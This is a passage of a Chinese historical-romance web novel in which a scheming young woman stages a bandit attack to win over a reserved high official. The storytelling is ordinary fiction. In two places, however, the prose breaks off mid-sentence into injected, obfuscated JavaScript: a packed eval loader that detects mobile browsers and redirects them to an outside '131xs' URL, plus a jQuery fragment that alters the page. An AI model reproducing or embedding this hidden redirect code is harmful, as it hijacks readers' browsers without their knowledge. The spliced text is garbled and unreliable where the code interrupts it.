《引诱清冷权臣后》 1. 对玉塔 落日熔金,暮云合璧。 层层叠叠的苍翠之下,当卢映射细碎金光。一辆马车穿行而过,向山下驶去,銮铃脆响伴着马蹄踢踏尘土的厚重笃笃声响在耳侧,远方的宝明寺逐渐掩在群山间。 荔兰放下车帘,从窗外收回视线,看向身侧的女子,紧张地小声说:“姑娘,前方就是了。” “知道了。” 沉静的声音透过幂篱,女子整了整腰间坠着的白玉菡萏纹禁步,菡萏瓣瓣盛开在玲珑剔透的莹白之上,纤纤素指抚过,更显肤如凝脂。 女子脸被垂至胸口的素纱遮住,却掩不住窈窕身形和清雅婉柔的气质,让人一看便觉这定是娇养出来的贵女。 可事实却并非如此。 “对了,今日程监丞又递信说要见姑娘,还用之前的缘由吗?”荔兰说着愤愤不平起来,到盛京寄住江府不过短短几日,便递了三回信,荔兰从未见过比他还厚脸皮的! “还未成婚就这么心急,把姑娘当什么了!这程监丞,怎年逾六十还能如此好色!” 听闻他后院还纳了不少妾室通房,难怪举手投足间尽显猥琐,活脱脱一副纵欲过度的样子。 崔宜萝却平静:“他若不好色,姚氏也不会有机可乘了。明日将我那幅‘桃林会棋图’一并送去吧,我如今寄住在江家,看在姨母的面子上,他不能强邀,但也莫把人惹急了。” “那明日婢子便回了程监丞。” 主子泰然自若,荔兰却坐如针毡,像是在自我安慰地说:“姑娘今日上香时心虔志诚,神佛定会遂姑娘所愿的。” 崔宜萝语气平缓,却如泠泠山泉挟着刚力敲在岩石上。 “不过图个心安,求神不如求己。” 婚事是一定要退的,姚氏想牺牲她换取权势,为幼弟铺路,但也不瞧瞧京城之中皆是人精,想借婚事捞取利益?崔宜萝不知是姚氏天真,还是自信。 而父亲多年来默许姚氏薄待她,更令她生厌。 群狼环伺,唯一真心对她好的,只有接她入江家寄住的姨母,姨母是江家二夫人,虽婉拒了帮她退婚的请求,但却同意接她入江家备嫁,间接地给了她另一个机会,那人权势滔天,若能得他权势,一切迎刃而解。 算算时辰,也该到了。 “铮——” 刺耳的刀刃相接声骤然响起。 马车一个急停,伴随着骏马嘶鸣声,二人重重摔到车壁上。 崔宜萝迅速掀起幂篱,和荔兰互通了个眼神。 “有贼匪!保护表姑娘!” 荔兰焦急地去搀扶崔宜萝,惊声道:“姑娘,马儿受惊发起疯来就不好了,让护卫们掩护你跑吧!” 崔宜萝点点头,和荔兰扶着往车外奔去。 甫一跳下马车,混乱声中突兀地响起高声:“人在那!快捉!” 只见十余个黑衣人与江府护卫交缠在一起,崔宜萝的出现让这群人更用力地摆脱护卫的束缚,红着眼举着银刃要冲她而来! 不对劲。 崔宜萝掩在素纱下的眉目骤冷,下一刻,她反手抓住荔兰向后跑。 “追!” 身后脚步声急促逼近,崔宜萝回头,三四个贼匪已近在咫尺,身影快如鬼魅,再多几步,锋利的刀刃便会割断她脆弱的脖颈。 “欻”的一声,幂篱被锋刃劈成两半,素纱因迅猛剑风在空中扬开,仅一瞬后便如被击中的鸟儿直直下坠。 姣丽的一张脸俱数暴露在昏黄暮色下,眉如远山含黛,眼含烟波,便是此刻在慌忙奔逃也让人挪不开眼,苍翠和余晖瞬间黯然失色。 崔宜萝迫使自己冷静,冷声道:“你们是谁?想要多少银两?” 贼匪毫无停顿,剑尖直直冲着崔宜萝心口而去。 崔宜萝迅速用左手将荔兰往身后一推,右手摸向腰间的匕首,正要抽出。 但还未抽出,眼前忽地银光一闪。 直行而来的利刃突然被断成了两半,断刃飞起,崔宜萝反应迅速地侧身躲过,厉风带起青丝微扬,她的脸顺势往旁一转,瞧见了那把将利刃削成两截、直扎入黄土几寸中的长剑。 望见长剑上挂着的墨玉剑穗,她立刻收回抽出匕首的手。 不过一瞬之间,她神情迅即转为柔和,转红的眼内升起一阵水雾,溢满了委屈,往来处看去。 巍然耸立的山壁之下,一身着银灰绣竹纹宽袖锦袍的男人屹立如竹,容貌俊美无俦,眉眼却透出清冷疏离,蕴着萧疏寒气,如高山白雪,令人望而却步,不敢靠近。银冠将乌发束得齐整,一缕发丝未乱,端正得丝毫看不出他方才掷剑而出的迅捷和猛厉。 “表哥!” 崔宜萝唤了一声,声音婉柔,挺翘的鼻头微红,神情又是惊喜又是无助,看向男人的眼神似是紧紧抓住了唯一的救命稻草,蓄满希望。 面对凄楚可怜的女子,男人只看来一眼,便果断移开视线。 贼匪们因男人的骤然出现愣了一下,又更迅速提剑朝崔宜萝刺去。 又是一声铮鸣。男人拔起插入黄土中的长剑,上前挡下。 高大的身影挡在身前,疾风带起衣袂,崔宜萝趁势一手拽住男人的宽袖,一手抓握着他腰间衣裳,神情惊惧地贴在了他身后。 “表哥小心!” 刀剑挥来,崔宜萝利落地往旁一转避开的同时,又畏惧地往前贴得更紧。 这样一来,崔宜萝几乎是从背后紧紧抱住了男人的腰腹,感受到他身躯一瞬间变得僵硬。 绵软紧密贴着刚劲,热意源源不断地隔着几层衣裳在相贴的肌肤间流转。 像是雏鸟在可怜小心地寻求着庇护,又像是亲密的情人交缠相拥。 江昀谨看着贴在腰腹上的细腕眉头紧皱,但抱紧他的女子似乎感觉不到,反又靠近了些许。他正想推开,贼匪又再次攻来。 攻势密集如雨,他一把长剑,几个来回间将刀剑都挡下,但难免泄出几分吃力。 而身后借他无暇推开,趁机抱得更紧的崔宜萝眼底发沉,垂眼看向脚旁的断刃。 江昀谨以剑架着数把长剑,蓦地,一缕银光飞过—— 一个贼匪瞬间发出凄厉叫声,手中刀剑哐声落地,手指捂住的膝盖处不断有鲜红血液透过指缝汩汩溢出。 刚才被他砍断的那柄断刃,此时正扎在那人的膝盖上。 江昀谨微微侧头,身后的女子满脸惊诧意外,似乎只是无意踢到了那柄断刃。 贼匪们并未顾及同伴,攻势又起。 有两个贼匪摆脱江府护卫赶来,江昀谨剑眉沉沉压下,握剑的指节用力得发白,健壮的臂膀鼓起。宽袖下滑,束在腕间的墨玉手串也露了出来,折射日光。 他被攻得无法抑制地后退,紧贴着他的崔宜萝一时未稳住身形,直接被他撞倒在了地上。 “啊!” 身后忽然响起一声压抑却凄厉的痛呼,只听声音便知受了极大的痛楚。 江昀谨稳住身形,迅疾往下一看,他不慎踩到了崔宜萝的脚踝。 他连忙移开,但尚来不及将人扶起,就又要去抵挡刺来的利刃。 此刻的局势显而易见,江昀谨武力不俗却难挡数人,二人已穷途末路。崔宜萝望着挡在身前的高大背影,咬唇忍下脚踝传来的痛楚,心内飞速盘算。 忽地,地面颤动,有马蹄声穿透厚重土地而来。 崔宜萝蹙紧的眉一松。 贼匪们互相对视,眼神皆带犹疑。 江昀谨趁此机会挥开了击来的剑,手腕敏捷一转,剑刃立刻划破首领胸口染上鲜血,银灰洁净的袍脚如雨点般洒上了几滴血滴。 见首领负伤,崔宜萝又被护着,他们只能先伤了江昀谨再取其性命,对方援手又来了…… 贼匪们顷刻做了决定:“撤!” 一声令下,贼匪们互相掩护,不出几息便撤退得不见身影,四周恢复空荡。若不是地上的血迹昭示着曾发生过一场恶斗,此地似乎只是暮色下宁静的山间。 江昀谨反手将剑背在身后蹲了下来。他衣袍依旧齐整未乱,除了气息还未平复,完全看不出刚经历了一场恶斗。 崔宜萝红唇已失了血色,原本梳得一丝不苟的发鬓乱了,散下几缕碎发来,耳坠掉了一只,罩在头上的幂篱也被劈成两半散在 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说这几句话的功夫,江昀谨的下属们已策马赶到身侧,若是他们晚到几刻,此刻地上的血怕就不是贼匪的了。 “令公,属下来迟……” 江昀谨抬手制止了他开口,对崔宜萝道:“先上车,我送你回府。” 一旁的荔兰忽道:“大公子,天色已晚,怕是无法在城门闭前赶回……” 江昀谨闻言看了眼天色,夕日欲颓,此地离城门约半个时辰脚程,酉时三刻城门闭。他倒是可以快马赶回,但…… 见江昀谨沉默,崔宜萝及时提了个应对之法:“表哥,此处离我今日上香的宝明寺不远,不如去寺中借宿一晚?再命人快马加鞭赶回城中给姨母他们报信,待明日城门开后再回府。” 宝明寺是京中高门大户常去的上香之处,江家便是常客,偶尔也会在寺中留宿,如此安排也无甚不妥。 江昀谨微点了下头。 “多谢表哥护送我。” 因着劫后余生,女子浑身被抽去了气力,连带着嗓音也没有力道,软绵绵的,却又不失清丽,落在人耳中莫名让人听出几分撒娇的意味。 江昀谨眼中冷得毫无情绪,低低嗯了声便转身往马车走,姿态疏离非常。 崔宜萝受了伤,走得极为缓慢,江昀谨守着礼未和她一起走,大步上了马,在马车边候着。 崔宜萝走到马车边,冲坐在马上的男人一笑,婉柔似春日初开桃花。 江昀谨神情未动,静静看着她的婢女扶她上马车。 但马车太高,崔宜萝腿脚受了伤不如以往便利,尝试了五六回竟都上不去,还险些再次摔在地上。 荔兰只好向江昀谨求救:“大公子,婢子力气小,您看您能否扶姑娘一把?” 话音落下,四周寂静下来,所有人均看了一眼坐在马上不动如山的男人。 虽说崔宜萝以江家二房夫人外甥女的身份寄住在江家,但她身份寒微,江昀谨又是江家大房独子,可以不理二房之事。 可到底是表姑娘,护卫们不便上前相扶。看来看去,在场之人中还真只能让江昀谨这个表哥帮忙。 但江昀谨一动未动,只是看向崔宜萝,眼神沉静又压迫。 崔宜萝善解人意地解围:“这等小事怎好劳动表哥?荔兰,我们再试试。” “是。” 荔兰应声,扶着崔宜萝的手臂和腰肢上抬。 护卫们见此情景,不由得心生惋惜。 可惜了表姑娘这等绝色佳人。 在场谁人不知,江家大公子年轻有为,龙章凤姿且身居高位。只是性情淡漠非常,知交甚少,待人疏离,待女子尤为,二十有一的年纪还未碰过女人,冷情得像是谪仙落凡尘。 “啊!” 一声惊呼响起,只见崔宜萝一个未踩稳,手指慌乱地抓住荔兰,几乎是摔一般地踩在地上,脚踝在动作间又扭了一下,脸上刚恢复几丝的血色又褪了个干干净净,额间冒出几滴冷汗。 手臂传来一阵力道,轻而易举地径直稳住她的身体。 2. 凉薄月 只见一只骨节分明的手托住她纤细的手臂,宽大的手掌和修长的手指本可以毫不费力地将其完全圈住,却只是疏离地用手掌托着,严格守着君子之礼。 隔着薄薄的一层衣袖,崔宜萝能清晰感觉到男人掌心的温热,甚至手掌和指节上薄茧的粗糙。 崔宜萝含泪抬眼望向男人。 江昀谨不知何时从马上下来,虽托着她的手臂,神色却万分冷淡,如在面上积了一层冰霜。 声线亦如古井平静无波: “我扶你。” 车帘放下,马车再度跑了起来。 娇美的笑容瞬间消散,崔宜萝看着素白袖摆处的一点血渍,是方才江昀谨以剑伤那贼匪头目时沾上的,恰好溅在以鹅黄丝线绣成的一朵小小连翘上,鲜红得刺眼。 纤细指尖轻轻抚过,崔宜萝盯着它,若有所思。 - 马车行了约一炷香便到了宝明寺,崔宜萝掀开车帘走出马车时,熟悉的寺门前已有人等候迎接,想来是江昀谨已派人快马事先通传过。 江昀谨下马与前来迎接的住持等人商议今夜暂宿之事,议完返回时,崔宜萝仍未下车来。 她脚踝受伤,先前也是靠着江昀谨扶了一把才登上马车,下车又比上车更难,一个不慎恐加重伤势,因此在下头接着的荔兰也是小心翼翼。 崔宜萝焦急得额头出了虚汗,歉疚地看着江昀谨道:“表哥先进去吧,我自己可以的。” 说完又挪动伤脚试图下车,但姿势怎么看怎么别扭。 江昀谨看了几息,最终迈了步子上前。 崔宜萝看向他的眼神有几分意外,但他只垂着眼并不看她,细长的睫毛挡住了眼睛,叫人看不出任何情绪。 手臂被大力托住,热意透过衣裳传来,又转瞬消失。 一触即分,淡漠得和先前扶她上车时一模一样,保持着高门世家郎君的最基本礼貌和教养。 克制又疏离。 崔宜萝刚稳当地踩在地上,男人已迅速收了手大步转身离开,她抬眼时只看见了他高大挺拔的背影。 “多谢表哥。” 崔宜萝对着他道。 男人并未应声,脚下未停,但她知道他听见了。 崔宜萝被荔兰扶着,由小沙弥带路走到厢房。 天色本就不早,不过多时小沙弥便送了晚膳来。寺里的饭菜清淡,只一碗混着百合花瓣的白粥,一碟素春卷与清炒时蔬。 荔兰拿银两打点了小沙弥,又与其谈了几句,谈话声隔着窗棂听不真切,崔宜萝执着竹箸,神情平静地将清淡的饭食一一用了。 吱呀一声,荔兰推门进来:“姑娘,还得有一会呢,我向他们拿了伤药,先上药吧。” 崔宜萝缓慢嚼着口中熬得烂熟的百合花瓣,清浅香气流转在唇舌间。 “好。” 最后一丝暮光消失,天色彻底转黑,只余几点星子点缀着漆黑夜空,伴着高悬明月,照得夜空显出几分墨蓝来。 月色下,厢房门被轻轻敲响。 荔兰忙出去,随后将门开了一条缝,唤向房内坐在收拾得干净整齐的床榻上看书的崔宜萝。 “姑娘。” 崔宜萝已重新挽好了发髻,簪钗掉了几支,好在缺了也不明显,难的是耳坠少了一只,崔宜萝只好将仅剩的一只耳坠摘了下来,圆润耳垂上小小的耳洞便露了出来。 取下时,她看着掌心的耳坠,是以赤金打成繁复的花叶形,灵动流苏上缀着的小巧亮丽的宝石在昏暗烛光下都能散着耀眼光泽。 这是姨母在她十岁时送的生辰礼,如若这不是她妆奁里最为精巧好看的耳坠之一,她今日便不会戴它。 可惜了。 裙裳也被理得齐整,她未带更换的衣裳,毕竟那样太过明显。荔兰只好绞了湿帕子去擦衣裙沾上的尘土,虽未完全擦干净,但也干净不少。如此一来,脚腕裙摆处乌黑的脚印便更加明显了。 听到荔兰的声音,崔宜萝又理了理衣裳发鬓,方走出厢房。 宝明寺坐落在高山上,即便是夏日,入了夜也难免寒凉,凉风轻轻吹过轻薄白裳,勾勒出女子纤瘦而挺拔的身形。 厢房外的草丛中忽地传来几声窸窣响动。 崔宜萝大步上前蹲下,双手往里一捞,便将一只白兔稳当地抱在了怀里。 白兔毛发雪白,一看便知一直被寺里的小沙弥照看着,只是方才钻进草丛里沾了一些草碎,稀稀疏疏地混在毛发里。 厢房外设了几盏石灯照明,崔宜萝借光认真地将白兔背上的草碎择出。 “表哥。”听到脚步声,崔宜萝带着明丽的笑容抬起头。 江昀谨目光停在她的脚踝上,似是在犹豫,最终还是走了过来。 他仍穿着白日里的那件银灰色锦袍,鲜血不易洗净,袍角沾上的血渍虽被仔细擦过,但仍留下几点浅红。可即便穿着脏污的袍子,依旧难掩其周身的清冷贵气,俊美的一张脸逐渐显露在昏黄烛光下,让人看得愣神。 如圭如璋,果真当得起众人的夸赞。 崔宜萝关心问:“表哥怎的还未歇下?” 江昀谨看了眼她抱着的白兔:“有些事。” 崔宜萝顺了顺白兔后背的毛发:“表哥,方才我在草丛里看到这只兔子,不知是哪儿来的,但很是招人喜爱,”她将白兔举起,笑问:“表哥可觉得?” 白兔在她手中温驯可爱,双眼似她乌鬓间簪着的那颗红宝石。江昀谨抬起眼来,似蕴着化不开的浓墨的双眸射入月光。 但他只看了一眼就移开视线,眼底仍旧冷清,看上去并不打算回答。 崔宜萝见他不答,也未再继续谈这只来历不明的兔子:“表哥,今日多谢你,若不是你,我也不知还能否回去见姨母。” 此话一出,江昀谨一直没什么表情的脸僵住,透出几分不自在。 崔宜萝心领意会,今日抵挡贼匪时,她在身后紧紧抱着他劲瘦的腰腹,身躯紧密相贴,她甚至能感觉到腰腹上蓄着力量的块垒,偏偏贼匪攻势密集如雨,他没有机会推开她。 她缓步靠近几寸,语气认真而郑重:“表哥日后若有用得到我的地方,我必定为了你义不容辞。” 她目光坚定炽热,江昀谨挪开了眼:“不必,今日只是凑巧。” 若不是一护卫杀出重围,恰巧碰上他在郊外处理完公务准备回府,他也不可能赶去。 她却坚持:“救命之恩不能忘,宜萝会永远将今日的事记在心里的。” 烛光明亮地打在她的侧脸,照得容貌更加姝丽,抱着的白兔始终乖巧恬静地卧在她的怀里,和白裳融在一处,衣袖上绣着的鹅黄连翘似是月色点缀,清丽灵秀如月宫仙娥。只是她走路却一瘸一拐的。 在她上前时,江昀谨一眼就看到了那个乌黑脚印。她脚踝纤瘦,看着一折便会断掉,而他今日却重重地踩在了上面…… 江昀谨敛了心绪,问道:“脚如何了?” 语气平静得没有起伏,听不出丝毫担忧。问上一句似乎只是出于世家长子从小被教养应有担当的涵养与礼仪。 崔宜萝却露出了惊喜的神情,似乎很感动他的关心:“虽然寺中伤药不比府上的,但也好多了。” 江昀谨道:“回去我让人请大夫,再送药给你。” 到底是他不慎将人踩伤的,理应负责。 “多谢表哥。” 女子声音柔柔,听着让人心中一软。 江昀谨脸上依旧无波无澜,只微微颔首。 “说起来,宜萝还有一事要拜托表哥。” “说。” 崔宜萝咬了咬唇瓣,乍然红了眼眶,神情变得无比纠结委屈:“今日那群贼匪来得蹊跷,不似普通山匪,但……我到盛京不过几日,也未与人结怨。我、我实在想不明白会是谁要杀我……表哥……” 说到这儿,两滴晶莹圆润的泪珠楚楚可怜地滚下,少女一时哽咽得说不出话。 她哭得可怜极了,男人却丝毫不心软,冷静得像一个生杀予夺的掌控者:“我已吩咐彻查。” 听他这么说,崔宜萝绷紧的肩头松弛下来。她轻轻吸了吸微红的鼻子:“如此便好,表哥有勇有谋,定会将此事查得分明,那我便安心等表哥消息。” “从前只知表哥惊才绝艳,卓荦不凡,未曾想表哥还使得一手好剑,今日以一敌众,宜萝从前还未见过似表哥这般英武的人。” 少女刚流过泪的双眼在月光下亮晶晶的,莹白面颊上仍挂着湿润泪痕,感激的眼神中带着无比真诚的敬慕。 江昀谨目光微动。 她又不动声色地靠近一步,正要张唇,江昀谨开口打断。 “他们查探时捡到了这个。” 他抬起手,手中拿着的正是她丢失的那只赤金花叶耳坠。 崔宜萝难抑激动地接过:“是我遗失的,多谢表哥,”说着她又有些哽咽:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362314|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是我母亲留给我的遗物。” “母亲?” “是,”崔宜萝点点头,神情黯了下来:“我母亲在我还未满周岁时,便因意外落水去世了,发现时已过了三日……连我父亲都差点没认出她。我虽根本不记得母亲长什么样子,但当我难过时看着母亲的遗物,总会觉得这么多年来她一直在我身边,心中宽慰不少。” 她看着手中的耳坠,轻声道:“我也常想,若母亲还在,现在会是什么样子,”说着她自嘲地笑笑:“起码会有一桩合我心意的婚事吧。” 总不至于将她嫁与一个可以做她祖父的老头子。 崔宜萝抬眼,撞进江昀谨变得复杂的目光,自嘲勾唇:“今夜让表哥见笑了。” 江昀谨只道:“斯人已逝,生者如斯。” 崔宜萝轻轻“嗯”了一声,盯着他道:“表哥说的是,重要的是眼前人。” 江昀谨眼神微变,似是在探究。崔宜萝只坦荡地与他对视,一息后,他率先移开了目光。 四周寂静下来,只余零星蝉鸣声。对话似乎到此便结束了。 江昀谨脚步微转,正打算离开,怎料女子忽然上前一步抓起他的手。 “表哥,你的手受伤了!” 崔宜萝秀眉紧蹙,担忧惊呼。 借着月光,可见男人宽大的手背横亘着一条长长的伤口,看上去只简单清理了一下,皮肉翻开,鲜红的血痂干在伤口上。 伤口看着新鲜,一看便知是抵挡贼匪时留下的。 她的掌心温热而柔软,男人修长的手指似陷在一团柔软里,被包裹上的那一瞬间变得僵硬。 几乎是下一瞬,江昀谨猛地抽出手来。 崔宜萝错愕:“表哥……” 江昀谨的脸上向来漠然得无甚情绪,而此刻他眉宇染上一层薄怒,墨眸晦暗,光冷冷看着她便沉下无限威压。 显然她方才的举动狠狠冒犯了他的边界。 江昀谨后退几步拉开距离,凉风瞬间挟带无数寒意吹过,带起衣袂翻飞。 男人原本平缓无波的语调此刻冷沉了下来:“放肆。” 崔宜萝又是无措又是尴尬,原本握着他的那只手突然之间也不知道往哪放,只好极其不自在地抚向白兔,像做错事的孩子一样垂下了头,低声道:“抱歉,表哥,我只是担心你的伤势。” 江昀谨不语,周身散发强烈的压迫疏离。 原本温和的气息彻底散了,空气仿佛都停止了流动。 崔宜萝被他盯得神情怯怯:“表哥……” “不需要。男女有别,莫要逾矩。” 男人说完,大步转身离开,只留下崔宜萝抱着白兔站在原地。 直至颀长身影完全消失在拐角处,后方阴暗处闪身走出一个人来。 荔兰望着江昀谨离开的方向,皱眉道:“江公子怎能这样拒人于千里之外?姑娘体贴他受伤,他竟完全不给姑娘脸面!” 崔宜萝缓缓收回视线,手中轻抚着白兔,脸上哪还能看出方才半点尴尬的影子? “他不就是这样的人么?慢慢来吧,把人逼急了可不是什么好事。” 前面势头很好,提起亡母更让他有几分感同身受,只可惜他到底心防重,她不过是碰了碰他的手,就将他气成那样。 不过无妨,人与人之间总该有一人负责打破界限、拉近距离,他的底线本就是要一寸寸降低的。而江昀谨显然不是做这种事的人,那就由她来好了。 “更何况,今夜也不是全无进展。” 荔兰突然想起了什么,脸色一变:“姑娘方才让他查清贼匪一事,该不会……” 崔宜萝抚摸兔子的手一顿,眼中结满了冰霜,语调骤然变沉:“你也看出来了吧,那不是我们雇的人。” 月光洒下的另一侧,身影挺拔如竹的男人面沉如水,低声吩咐:“闻风,传信给殿下,人已救下,事情或有进展,明日回城后细议。” 闻风一愣:“公子的意思是……” 江昀谨轻轻颔首。 闻风皱眉:“那可就麻烦了,崔姑娘瞧着毫无反抗之力,若真被他们取了性命,岂不影响殿下的计划。” 江昀谨半边脸沉在阴暗中,“未必,她很聪明。” 今日贼匪人数众多,她虽躲在他身后,却能迅速地躲开刀剑,全身上下唯一的伤竟是他伤的。反之,对方倒是被飞来的断刃刺中膝盖。 武力不敌,但能智取。 3. 黄雀伺 “姑娘!”荔兰惊呼,险些未压住声量:“可会是谁?姑娘才刚到盛京,根本不认识几个人。” “是啊,”崔宜萝的声音似被风吹开,轻飘飘的,思虑中带着些玩味:“今日若不是我提前备了人通报江昀谨,大概我真的会死在那吧。” 荔兰想了想,猜测道:“姑娘,莫不是程监丞的仇家?” “不是。”崔宜萝否认干脆,语气讽刺:“程奉不过是个六品小官,在盛京里都排不上名号,半截身子都要入土了,大动干戈地派高手只为杀他还未过门的续弦,谁会做这等亏本买卖?” 其实也难怪荔兰会这么猜。毕竟连崔宜萝转了好几人雇一群不入流的江湖人士假扮山匪刺杀自己时,用的就是程奉儿子的名头,一个怀念亡母的孝子看不惯即将嫁入府中的继母,杯圈之思,哀哀天地,多适合的由头。 荔兰面色一变:“姑娘,难不成是江府的人?” 如今与崔宜萝有关的除了程奉,便只有江府的人。 “若是江府的人,江昀谨便不可能来。” 荔兰瞬间明白过来,若是江府的人,怎会不知道她们安排了一个江府护卫给江昀谨通风报信? 但两者都不是反更叫荔兰心慌,她强撑镇定道:“姑娘,等明日回城,婢子便让人去找那群江湖人士问个明白。” 崔宜萝却摇摇头:“问不到的。对方既然能轻而易举地将人换了,怎会让我们查到线索?我们势单力薄,这事还得让江昀谨去查。” 对方既能派出这等高手来杀她,想来权势地位不低。 荔兰却不太相信江昀谨,犹疑道:“可江公子如此冷漠,真的会处理这事吗?” 崔宜萝笃信道:“他今日救了我,便是插手了这事,他会派人去查的。” 只是到底可惜了,若没这人来横插一脚,这本是个绝佳的计划。 她知道江昀谨近日常出城处理一桩公务,而宝明寺回府与江昀谨回府会经过同一条主道。 她便据此安排了一出好戏。 以程奉儿子的名义雇的那群江湖人士,既不能取她性命,又能和江府护卫周旋片刻,拖到江昀谨赶来救下她。 她又收买了一个江府护卫,提前蹲守在江昀谨回府的路上,等江昀谨经过,便扮作杀出重围后无意撞见的模样,请江昀谨去救她,她再借天色已晚之故留宿寺中。 而纵使江昀谨内心有多不情愿,看在她的姨母,也就是他的婶母的面子上,也不会对她遇难视而不见,坏了他君子的美名。 就算江府事后审问那群江湖人士,也只会供出是程奉的儿子对她下杀手,没准她还能趁此机会闹上一闹,直接取消那门婚事。 可她的计划全被打乱了。 武艺不精的江湖人士被换成了真正的刺客,他们按时出现在约好的地点,以至于崔宜萝一开始根本未察觉出不对,否则她根本不会下马车,而会直接御马车带着荔兰逃离。 好在江昀谨来得及时,过程是崎岖了点儿,不过结果总归没有太差。 忆起今日的情形,崔宜萝忽然忍不住笑了。 从背后抱他时,她自然感觉到他浑身瞬间变得僵硬,可她还故意抱得更紧了,迫不及待想看看清冷守礼的君子与她亲密相贴却无法推开,会是个什么反应。 是以她将他因不自在而紧绷的腰腹,绷得锋利而清晰的下颌线,还有几次想要推开她却没机会的手都看得清清楚楚。 不愧是她第一眼便选定的人。 出身清贵且世代皆为肱骨之臣的江家,是大房独子,二十有一的年纪便任中书令,位高权重,深得天子信任,有逸群之才,高山仰止,听闻他从未近过女色,真是再适合不过的人选了。 她崔宜萝事事力求最好,自然也该有最好的夫婿相配。她选定他帮她摆脱崔家,摆脱那对令人厌恶的夫妻,还有连一声姐姐都不肯叫的,和她流着相同的,令她作呕的血脉的幼弟。 但她倒未想到真正实施起来竟有几分额外的意趣。 荔兰见她突兀地笑了,缩了缩肩膀:“姑娘,你笑什么?” 崔宜萝唇角噙笑:“我只是在想,不管对方是谁,他能掀出些风浪也好,省得我绞尽脑汁想着如何接近江昀谨。” 她只有两个月的时间。 荔兰大惊失色:“姑娘你疯了,那人要杀你!” “放心吧,我当然不会将自己的生死置之度外的。只是敌暗我明,如今我们毫无头绪,倒不如等等,他越出招,破绽越多。” “但是姑娘今日就伤了脚,若是日后……” “脚是伤了,却不完全是他伤的。” 荔兰瞪大了眼:“姑娘的意思是……” 崔宜萝淡然点了点头。 她故意借势摔倒在地,在江昀谨后退时她能轻而易举地避开,但她没有。 那一刻痛得她几乎要晕过去,但意识模糊的几瞬,她又难抑地激动起来。 江昀谨最是守礼,既伤了她的脚,就绝对不会对她置之不理,这是她的一个筹码,日后还能派上用场不止一次的筹码。 荔兰更惊骇了,但惊骇过后又无比心疼,看着崔宜萝包得厚厚的脚踝红了眼圈:“姑娘,姑娘定会得偿所愿的,都怪那姚氏狠毒,还有家主,他怎能牺牲姑娘为小公子铺路呢,公子是他亲生的,难道姑娘就不是了吗?若是夫人还在,她定然不会这样对姑娘的!” 崔宜萝拍了拍荔兰的手,“就像你说的,母亲一定不忍看我受苦,会在底下庇佑我的。” 荔兰抽噎着道:“姑娘不过宽慰我罢了,姑娘又何时信过鬼神了?” 崔宜萝笑道:“你既知道我宽慰你,那你还哭?明日还有事要做呢,快些歇息吧。对了,”她举起兔子:“慧真找的这只兔子乖巧可爱得很,记得谢过他。” 崔宜萝将抱着的兔子交给荔兰,荔兰弯下腰将兔子放走,矫捷的白兔钻进草丛,一闪便没了影。 荔兰破涕为笑:“那是自然,慧真可机灵了,若不是他告诉我们江公子的行踪,怕是要麻烦不少,不用姑娘说我也知道的。” 房门吱呀开阖,声响随风渐渐消散。 暮去朝来,旭日东升,晨间的山顶仍带着厚重潮湿的雾气。 “公子,已准备好了,可以回城了。” 江昀谨一早便用过膳,此时正端坐读着寺中的佛经,即便是私下,背脊依旧挺得笔直如松。 他脑中清明不少,慢条斯理将佛经合好,问了句:“表姑娘在哪?” “崔姑娘似乎一早便往大殿去了。” 宽阔大殿之中,细缕青烟缭绕,神佛塑像庄严肃穆,明明日光照在跪在蒲团上的纤细女子背上。 崔宜萝跪在佛像前,双手合十,万分虔诚地闭着目。 回廊上传来脚步声,崔宜萝微掀眼睫,又闭了起来。 “愿诸天神佛保佑,信女崔宜萝唯有二愿。一愿母亲在天上安宁。二愿……信女可以嫁给心悦之人,与他长厢厮守。若能如愿,信女定以重金为殿中神佛重塑金身。” 句句掷地有声,恰好能让走到殿外的人一字不差地听入耳中。 闻风总觉得有些怪异,用气声问身前的主子:“公子,表姑娘和程监丞……” 江昀谨微垂着眼,声音低沉:“莫要随意议论他人,此事与我们无关。” 闻风讪讪地闭嘴。 江昀谨抬手示意身后的几个婢女进殿。 几个婢女领命小心地踏入殿中,“见过表姑娘。” 跪在蒲团上的女子肩膀一抖,回头看来,因最私密的心愿被旁人窥见,崔宜萝的神情很是慌乱。 领头的婢女解释道:“姑娘脚伤不良于行,婢子们是奉命来搀扶姑娘回府的。” 奉命?就是不知奉的是她姨母的命令,还是江昀谨的命令。不过拉了下手,便叫他避如蛇蝎。 崔宜萝冲几个婢女礼貌地笑了笑,明媚得与日光融为一体,晃得婢女们皆是一个愣神,回过神来后忙上前搀扶她起身。 站起身后,一直立在殿外的江昀谨自然就进入了她的视线里。他手上的伤已处理过了,用绷带裹得严严实实。 崔宜萝佯装才知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362315|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他站在外面,惊讶地张唇:“表哥,你何时来的?” 她握紧了手中的锦帕,浑身上下都写着紧张二字,莫名流露出强烈的心虚之感。 站在主子身后的闻风忽地反应过来,再细细一瞧,崔宜萝已是急得脸都红了。 “表哥方才……可有听见什么?” 江昀谨面上清冷如旧,像是压根没听到女子的情思私心,又像是目下无尘,根本没注意到她的各种小动作。 “未曾。行囊可收拾好了?” 崔宜萝看着他一脸正色地说谎,心里冷笑了声,又泛起些不甘。但表面上还是装作松了口气的模样,乖巧地回:“一早便收拾好了,生怕误了表哥行程。” 江昀谨嗯了一声,便要转身朝外走。 